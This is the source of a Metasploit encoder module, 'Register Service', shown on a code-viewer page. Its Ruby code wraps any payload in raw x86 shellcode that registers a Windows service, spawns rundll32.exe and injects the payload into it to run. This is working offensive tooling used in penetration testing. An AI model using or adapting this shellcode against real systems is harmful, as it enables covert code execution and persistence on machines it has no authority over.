Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/service.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'67class MetasploitModule < Msf::Encoder89Rank = ManualRanking1011def initialize12super(13'Name' => 'Register Service',14'Version' => '$Revision: 14774 $',15'Description' => 'Register service if used with psexec for example',16'Author' => 'agix',17'Arch' => ARCH_X86,18'License' => MSF_LICENSE,19'EncoderType' => Msf::Encoder::Type::Raw20)21end2223@@cpu32 = Metasm::Ia32.new24def assemble(src, cpu=@@cpu32)25Metasm::Shellcode.assemble(cpu, src).encode_string26end2728def can_preserve_registers?29true30end3132def modified_registers33[]34end3536def preserves_stack?37true38end3940def string_to_pushes(string)41str = string.dup42# Align string to 4 bytes43rem = (str.length) % 444if rem > 045str << "\x00" * (4 - rem)46pushes = ''47else48pushes = "h\x00\x00\x00\x00"49end50# string is now 4 bytes aligned with null byte5152# push string to stack, starting at the back53while str.length > 054four = 'h'+str.slice!(-4,4)55pushes << four56end5758pushes59end6061def encode_block(state, block)62nb_iter = rand(0x2fffffff)+0xfffffff6364push_registers = ''65pop_registers = ''66if datastore['SaveRegisters']67datastore['SaveRegisters'].split(" ").each { |reg|68push_registers += assemble("push %s"%reg)69pop_registers = assemble("pop %s"%reg) + pop_registers70}71end7273name = ENV['MSF_SERVICENAME']74name ||= Rex::Text.rand_text_alpha(8)75pushed_service_name = string_to_pushes(name)7677precode_size = 0xc678svcmain_code_offset = precode_size + pushed_service_name.length7980precode_size = 0xcc81hash_code_offset = precode_size + pushed_service_name.length8283precode_size = 0xbf84svcctrlhandler_code_offset = precode_size + pushed_service_name.length8586code_service_stopped =87"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +88"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +89"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +90"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +91"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"9293precode_size = 0x4294shellcode_code_offset = code_service_stopped.length + precode_size9596# code_service could be encoded in the future97code_service =98"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +99"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +100"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +101"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +102"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +103"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +104"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +105"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +106"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +107"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +108"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +109"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +110"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +111"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +112"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +113"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +114"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +115"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +116"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +117"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +118"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +119"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +120"\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +121"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +122"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +123"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +124"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +125"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +126"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"127128return push_registers + code_service + pop_registers + block129end130end131132133